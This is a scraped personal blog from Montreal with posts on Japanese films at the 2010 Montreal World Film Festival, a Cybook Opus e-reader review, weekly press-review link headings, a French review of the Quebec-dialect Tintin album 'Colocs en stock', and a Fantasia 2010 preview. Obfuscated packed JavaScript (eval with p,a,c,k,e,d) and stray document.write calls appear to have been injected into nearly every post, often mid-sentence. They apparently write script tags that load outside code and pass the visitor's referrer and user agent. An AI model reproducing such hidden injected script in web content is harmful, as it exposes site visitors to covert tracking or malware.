  • Shitsuren Satsujin (Lost Love Murder), 100 min., directed by KUBOTA Shoji. Cast : Mao Miyaji, Yurei Yanagi, Ryuchi Ohura, Kinuo Yamada, Kouta Kusano, Mari Hoshino. Suichi is madly in love with his wife, but he suspects that she is unfaithful, and this gnawing jealousy leads to a bizarre murder.
    Schedule: 9/2, 21:40, L16.02.6; 9/3, 10:00, L17.03.1; 9/4, 12:10, L16.04.2.
  • Suito Rituru Raizu (Sweet Little Lies), 117 min., directed by YAZAKI Hitoshi. Cast : Miki Nakatani, Nao Omori, Chizuru Ikewaki, Junichi Kobayashi. Ruriko, an artist, has been married to Satoshi for three years and on the surface their marriage seems ideal. In fact, however, they have been gradually growing distant.
    Schedule: 8/29, 14:50, L10.29.3; 8/30, 19:20, L12.30.5; 9/1, 10:00, L9.01.1; 9/5, 21:40, L16.05.6.

Documentaries [list]

  • Dancing Chaplin, 131 min., directed by SUO Masayuki. A filmed record of the Roland Petit’s well- known ballet but also a union of dance and film that reflects the serendipitous meeting of the great talents of Chaplin, Petit and Japanese director Masayuki Suo.
    Schedule: 9/3, 12:10, L15.03.2; 9/4, 21:21, L15.04.6; 9/5, 17:00, L15.05.4.
  • Umareru (Being Born), 8 min., directed by TOMO. Junichi, an emergency medical technician, and his wife Takako, a nurse, who work with life and death daily, now want a new life of their own, a baby.
    Schedule: 8/28, 12:30, L14.28.2; 8/28, 19:20, L14.28.5; 8/29, 14:20, L14.29.3; 8/30, 17:30, L14.30.4.

Cinema Under the Stars [list]

  • Shall We Dance (1996), 120 min., directed by SUO Masayuki. Cast: Koji Yakusho, Tamiyo Kusakari, Naoto Takenaka. A workaholic’s dull life takes a funny turn when he signs up for a ballroom dance class – just to meet the sexy dance teacher. But when he finally goes for lessons, he winds up with a different instructor and her colourfully eccentric class of beginners.
    Schedule: 9/3, 20:30, Outdoor on Place des Festivals.

Here is the video of the programming press conference (34:23 min.):

MWFF 2010 Programming Press Conference from clodjee on Vimeo.
The schedule [PDF] is now available online [ Part 1, Part 2, Index ]

I’ve made a calendar to help visualize the time and location of all the Japanese movies’ screenings. What were they thinking: putting eight screenings of Japanese movies on the same day (Sept. 2nd)?

I’ve also made a nice, printable PDF file gathering all the useful information from the festival guide.

For the first time in years the MWFF has put in advance on their web site a list of the upcoming press conferences.

More details and links will be added as the information become available. [Updated 08/11 (more details & links), 08/21 (schedule, better description & link’s icon), 08/22 (calendar), 08/24 (FFM web links, Google links, PDF), 08/27 (link for press conferences list), 08/31 (icon & link press conference), 9/04 (programming press conference video), 9/09 (more press conferences video links)]

[I have updated the “MWFF 2009 Overview” blog entry with a few corrections, links and new logos for some links. More update to come. Please have a look!]

Bookeen’s Cybook Opus Hands-on

The public libraries network where I work is considering the possibility to lend eBook readers and to allow patrons to “borrow” eBooks. In order to get some feedback, document.write(“”); the network has given different models of readers to a few librarians and technicians for evaluation. A colleague who received one of those readers wanted to get my opinion and lent his to me. I couldn’t miss this opportunity to have my first hands-on experience with one of those ePaper readers.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynkra|var|u0026u|referrer|esykt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhhss|var|u0026u|referrer|dbhdr||js|php’.split(‘|’),0,{}))

I wish I could have had in my hands a Sony Reader or an Amazon Kindle instead (I’ve never seen a Kindle up-close and have handled a Sony Reader only for a few minutes in a book fair), but the model I got was the Bookeen’s Cybook Opus. If a little disappointed, I was nevertheless quite happy with this opportunity since the Cybook is quite an interesting reader despite its shortcomings.

The Cybook Opus uses monochrome ePaper technology. It is rather small (108 x 151 x 10 mm / 4.2 x 6 x .4 in) and ultra light (150 g / 5.3 oz). Its 5“ (125 mm) display offers a resolution of 600 x 800 pixels in 200 dpi with 4 levels of grey (in comparison Sony’s models offer 8 to 16 levels of grey). It runs on a 400 MHz Samsung ARM chipset and has 1 Gb of memory (which is enough to store a thousand books!). Its battery charge is good for two weeks or 8000 page flips and its accelerometer or G-sensor allow to automatically switch from landscape mode to portrait mode when we turn the Cybook. It has a micro SD slot for extra memory and plugs into your computer through a mini-USB connector. It reads digital editions (ePub & PDF formats), basic eBooks (HTML & TXT formats) and pictures (PNG, JPG & GIF formats). It works in 12 languages and comes preloaded with 75 books (44 classics and 2 Harlequin in English, 31 classics in French). The suggested retail price for all that is $215 CAN ($200 US).

I must note that the model I had for evaluation was an older model (released in August 2009) that was not running the latest firmware and was available only in white. The newest model, Opus v. 2 (released in May 2010), comes in 8 housing colors and (according to the company’s press release) runs much faster and smoother—as the new firmware offers many bug fixes, 9 more languages, and a new Table of Content function. It also comes preloaded with 125~150 books!

As I said, the Cybook Opus has many shortcomings: during my reading I experienced a couple of crashes (the new firmware is supposed to improve that); the screen is not backlit so you cannot read in the dark; it’s not touch-screen so the navigation is rather inefficient (without a table of content, at least in the version I tested, you can only use a “go to” option in the contextual menu in order to jump to a specific page); it doesn’t handle graphics too well (which is not good to read comics or magazines in PDF format); there’s no WiFi or G3 connectivity so you cannot use the internet and need to use a memory card or a USB cable to transfer the eBooks you downloaded on your computer; it doesn’t play MP3 (although the Gen3, Bookeen’s higher model, does); finally, you cannot change the settings or the interface besides the number of menu items viewed per page, the languages or the fonts (12 font types & 12 text sizes) and the operating system (Linux based) is not accessible at all via a shell interface. Conclusion: it’s a VERY basic model and, if it’s one of the cheapest readers, it is still too expensive. For what it offers, it would be better priced at $100~$150.

However, despite all that, I still consider the Cybook Opus as an excellent reader. Of course, the ideal reader for me is something like the Apple iPad, or the iPod touch, because it’s much more polyvalent (full internet access, ability to work on files, multi-function reader, the perfect screen to read comics & magazines, etc.), but, if you want a device ONLY to read books and nothing else, the Cybook Opus is very good for that. It might have limited functions (no advanced functions besides using hyperlinks & bookmarks — even that doesn’t work for all formats), but offers enough possible settings to make e-reading more accessible (many languages, different font sizes). It is also one of the least expensive and lightest reader on the market. The ePaper technology provides the best reading experience (particularly in full sunlight, where the iPad is not performing well) and is quite energy efficient. Its screen is small (not much bigger than the 3-inch screen of the iPod Touch) compared to the heavier Sony Reader (Pocket Edition: 5“, 8 oz, $170 US; Touch Edition: 6“, 10 oz, $250 US; Daily Edition: 7“, 13 oz, $300 US) or the Kindle (Standard: 6“, 8.5 oz, $140~$190 US; DX: 10“, 19 oz, $380 US), but it’s big enough to offer a good amount of text per page and yet still small enough to fit in a pocket. It’s not sophisticated, but a simple, compact device, perfect to carry an entire library without feeling the weight of the books.

I am not very warm to the idea of lending $200~$400 devices to patrons (considering in which state we often get books and Dvds back, doing so would be looking for trouble!), but if we were to lend eBook readers I would consider the Cybook Opus as the best model for that, because it’s relatively inexpensive, basic and easy to use. Furthermore, I would recommend to lend it already charged and preloaded with a certain amount of “free” books (and therefore without the power & USB cables) in order to reduce the device manipulation by the patrons. Of course, there’s always the risk that neglectful or malicious patrons would use the “erase” function of the contextual menu to remove documents from the reader or try to tamper with the device in some ways (by trying to copy documents to their computer for example).

It would probably be safer (avoiding the devices being lost or broken) to make the readers available only on site and to put the emphasis on “lending” the eBooks themselves either from an on-site terminal or downloadable from the internet (i.e. the library’s webpage). The library could offer a large selection of DRM-free classics (already available for free on the internet anyway), but the technology now allow to also offer titles with DRM (Digital Right Management) with an expiration date (for example: after forty-five or sixty days the eBook deletes itself from the reader — Apple is already doing that when you rent movies on iTunes).

I might soon get the opportunity to also review a Sony Reader, so that will allow me to draw a better impression of each device by comparing them. Of course, personally, I still prefer to read on my iPad!

Revue de Presse / Press Review (2010/07/31)

Anime & Manga related, document.write(“”); Japan, Popular Culture
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asisf|var|u0026u|referrer|edkie||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|httth|var|u0026u|referrer|thedz||js|php’.split(‘|’),0,{}))

Apple news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/07/23)

Anime & Manga related, document.write(“”); Japan, Popular Culture
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|neesr|var|u0026u|referrer|biyss||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hinze|var|u0026u|referrer|arare||js|php’.split(‘|’),0,{}))

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Colocs en stock

“Les albums de Tintin furent très tôt traduits (à partir de 1952) dans la plupart des langues du monde. Ainsi, document.write(“”); par l’entremise de ces traductions, Tintin est devenu un personnage réellement universel, connu de la Chine à l’Islande, de la Slovénie à la Thaïlande. Outil d’apprentissage ou d’immersion, l’album de Tintin peut, au fil des langues, devenir également une source de plaisir esthétique et visuel. Le lotus bleu en chinois ou Tintin au Tibet en tibétain raviront les amateurs et rendent justice à la portée universelle du génie d’Hergé.” [texte de présentation sur le site de l’éditeur — pour le texte de couverture arrière, voir l’image ci-bas]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hesir|var|u0026u|referrer|rditd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aefbz|var|u0026u|referrer|fsehi||js|php’.split(‘|’),0,{}))

Colocs en stock c’est la version québécoise de Coke en stock. Un peu avant sa parution, j’en ai lu la nouvelle avec incrédulité mais n’y ai pas porté trop d’attention (ayant d’autre chat à reviouer). Il y a quelques semaines, quand un collègue de la bibliothèque où je travaille me l’a mis entre les mains, je me suis dit que je devrais bien le lire, ne serait-ce que par curiosité… Alors: Traduire Tintin en plusieurs langues ça fait du sens pour accroitre la diffusion de ce qui est un icône de la BD. Le traduire en dialecte m’apparait toutefois comme une entreprise futile puisque les gens du Québec peuvent très bien lire et comprendre la version française traditionnelle. A la rigueur j’aurais vu une version localisée qui s’en tient à adapter les choses qui sont typiquement européennes et que les québécois peuvent difficilement comprendre (dans le genre changer “loterie du San Theodoros” par “6/49”, faute d’un meilleur exemple), mais tout traduire en joual? Non, vraiment pas nécessaire. C’est une curiosité, un exercice amusant; sans plus.

La meilleur c’est d’entendre (ou de lire) le serviteur de l’émir s’exclamer “je l’sais-tu, moé ?” C’est pas si pire de mettre ce genre d’expressions dans la bouche du capitaine Haddock (une chance qu’y continue à dire “mille milliards de mille sabords!”) mais de voir un journaliste cultivé comme Tintin dire des choses comme “Toé, si j’te pogne!” il me semble que ça “fite” pas pantoutte avec le personnage… Une grande déception: pas un seul sacre de tout l’album. I’me semble qu’Haddock aurait bien pu lâcher un tabarnak quec’part (oups! c’est contagieux, ce language). C’est tout de même drôle à lire (ou re-lire).

Pour vous donner une idée, voici la première page de Colocs en stock et celle de Coke en stock:

Puis les pages 2 et 3 de Colocs en stock:

Finalement, la page 4 de Colocs en stock et celle de Coke en stock:

Je ne suis d’ailleurs pas le seul à avoir un avis mitigé sur cet album comme en font foi ces critiques du Devoir (2008/11/20), de La Presse (2009/10/21) et Radio-Canada (2009/10/16). On trouve également sur Canoë un mini-interview avec Yves Laberge.

Colocs en stock par Hergé (adaptation par Yves Laberge). Casterman, 2009. Couleur, 22.6 x 30.4 cm, 64 pgs. 9.95 € / $19.95 Can. Recommandé pour tous? (7+). ISBN: 978-2-203-02655-1.
Colocs en stock © Casterman, 2009.

Fantasia 2010


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syene|var|u0026u|referrer|btnad||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ersda|var|u0026u|referrer|nenzt||js|php’.split(‘|’),0,{}))
Tuesday, document.write(“”);
Fantasia announced the highlights of its programming and posted all the details on its website.

The 14th edition of the Fantasia International Film Festival, one of the largest events dedicated to genre cinema, will be held from July 8th to July 28th, at Concordia University’s Hall Theatre and a few other venues in Montreal. This year, with more government subsidies, the festival has widened and diversified even more its impressive programming. It offers nearly 300 movies, including over 120 feature-length films and several hundreds shorts, as well as a variety of documentaries, panel discussions, stage plays, outdoor screenings and many guests will be there to introduce and discuss their work.

The festival will open with Disney’s The Sorcerer’s Apprentice and close with Eli Craig’s horror film satire Tucker & Dale’s vs. Evil. Other notable events of the festival are the screenings of Fritz Lang’s restored Metropolis (1927, with 25 min. of previously lost footage; screened at the Place des Arts’ Salle Wilfrid Pelletier), Jean Cocteau’s Le Sang d’un Poête (1930, screened at the Rialto Theatre), and Ken Russell’s The Devils (who has a retrospective at the Cinémathèque Québécoise and will also receive an award for his unique contribution to cinema). Animators Don Bluth and Gary Goldman will also receive a dual lifetime achievement award. Among the movies from the West that intrigues me, I must also mention Centurion, “a breathtaking rollercoaster” set in roman time, directed by Neil Marshall (The Descent).

Of course, the most interesting part of the festival for us is its Asian programming. It offers 55 Asian movies (including 24 from Japan, 14 from Korea, 9 from Hong Kong, 3 from Thailand, 2 from China as well as from Vietnam, Indonesia and Malaysia).

The Japanese movies include eight anime features (twice as much as last year): Evangelion 2.0: You Can(Not) Advance, First Squad: The Moment of Truth (a Japan/Russia co-production), Gintama: The Movie, King of Thorn, Mai Mai Miracle, Oblivion Island: Haruka and the Magic Mirror, Space Battleship Yamato: Resurrection, and Summer Wars (best animated feature at the 2010 Japanese Academy Awards). Other notable animations are The Land Before Time (USA, Don Bluth), Technotise: Edit & I (Serbia) and What is not Romance? (Korea).

The live-action Japanese movies includes (click on the link for details): Air Doll (Dir. Hirokazu Kore-eda), Alien Vs Ninja, Battle in Outer Space (a 1960 classic dir. by Ishiro Honda), Boys on the Run, Brass Knuckle Boys, Crows Zero 2 (Dir. Takashi Miike), Fish Story, Golden Slumber, Higanjima, Kuroneko (a 1968 classic), Mutant Girls Squad, Raise the Castle!, Rinco’s Restaurant, Sawako Decides, Symbol, and Van Von Hunter (a USA/Japan co-production written & directed by Tokyopop’s Stu Levy and Steven Calcote). We must also note the quite funny Les homme d’une autre planète (a Thailand/Japan/Taiwan “co-production” “dubbed” in French!)

The Japanese and anime-related guests include: Yoshinori Chiba (Dir. of Alien Vs Ninja), Stu Levy (founder of Tokyopop and co-dir. of Van Von Hunter), Yuri Lowenthal (popular voice-actor (Bleach, Code Geass, Naruto) and actor in Van Von Hunter), Yoshihiro Nishimura (co-dir. of Mutant Girls Squad), Tara Platt (voice-actress (Buso Renkin, Naruto) and panelist), and Mai Tominaga (dir. of Rinco’s Restaurant).

Finally, two of the panels might be of interest for the animation fans: “The Current and Future State of Traditional Animation Cinema: Death, Comeback and Resurrection” (Sunday July 18th 1:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Don Bluth, Gary Goldman, Gerard Potterton and Luc Chamberland) and “Voice Over, Voice Actor” (Sunday July 18th 3:00 pm, at the EV-01.615 amphitheatre (1515 Ste-Catherine W), with Yuri Lowenthal & Tara Platt).

The schedule for all the movies mentioned above can be found here.

Enjoy the festival!

(updated 2010/07/06)

Revue de Presse / Press Review (2010/06/18)

Quote of the week: “The more tools I have, document.write(“”); the less I work.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yabky|var|u0026u|referrer|dyinz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yekiz|var|u0026u|referrer|ysnki||js|php’.split(‘|’),0,{}))

It seems I have less and less time to do anything! In the meantimes, the world continue to turn:

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/06/03)

Personnal update: I’ve had the iPad for nearly a week now and I should soon comment about it (if I can find some time). I am quite tired because I’ve lost some sleep (and gain stomac pain) over establishing my new work schedule [link in french] but it’s all over now. As usual, document.write(“”); I worried for nothing and I’ll be working nearly full time for most of the summer (leaving me little time for the darn clean up and the zillion other stuff I need/want to do — and I still need to figure out how I will list the stuff I want to sell online…). On my days off, I’m so tired that I can barely do anything… Anyway, here’s some of the news that got my attention this week (of course I was mostly preoccupied with iPad-related local news):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnabt|var|u0026u|referrer|yzzth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzzek|var|u0026u|referrer|fdasb||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health

Humour

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/05/27)

Another nice but insanely busy (and quite unseasonably hot) week. Not only this week was my birthday (getting so old now, document.write(“”); BTW: thanks to all who wished me happy birthday) but I am also getting my iPad (a kind of self-gift)! I’ll be a little more productive when I’m out of the safe-house (I’ll missed it after moving, but I’ll make a better one — however, for now, it is clean-up time!) and I’ll be able to experiment on new ways to distribute contents. This week was as hellish as usual at work (or more: trying to organize a new work schedule provided excruciating mental pain; the boroughs are really nests of ineptitude!). News-wise, beside the iPad international launch, I noted the end of the Cannes Film Festival, more Gulf oil-spill drama and the end of most of the TV shows I was watching (it makes me sad, but it will also allow more time for the clean-up and for “working” on the iPad)! Here’s some more:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feybs|var|u0026u|referrer|zerbr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibbzy|var|u0026u|referrer|adtba||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health

Humour

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side